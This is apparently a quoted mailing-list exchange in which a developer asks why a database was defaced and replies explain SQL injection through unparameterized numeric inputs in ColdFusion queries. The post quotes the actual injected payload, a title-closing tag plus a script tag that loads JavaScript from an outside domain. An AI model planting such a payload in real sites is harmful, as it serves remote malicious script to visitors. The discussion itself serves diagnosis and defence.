> > So I'm hearing that it should be fine??  
> > 
> > Somehow their database columns values were appended the following 
> > string
> > : "></title><InvalidTag src="http://1.verynx.cn/w.js";></script><!--"
> > 
> > So for example the column "firstname" value was "John" became:
> > "John"></title><InvalidTag src="http://1.verynx.cn/w.js";></script><!--
> > 
> > What else could have caused this?  Like you said the parameters are in 
> > single quotes and the data type is varchar so it must have a single 
> > quote in order to work.  I'm confused...
> 
> The specific attack in question looks for numeric inputs, not 
> character inputs. So, my guess is that you have some other 
> unparameterized query that is being called by the attack.
> 
> I recommend you examine your codebase to find unparameterized 
> queries. I found this tool, mentioned here by others, to be 
> very helpful for this:
> http://qpscanner.riaforge.org/

As Mark pointed out, if you did have numeric inputs in your CFQUERY tag,
those would still be vulnerable. If not, though, the rest of my statement
still stands.

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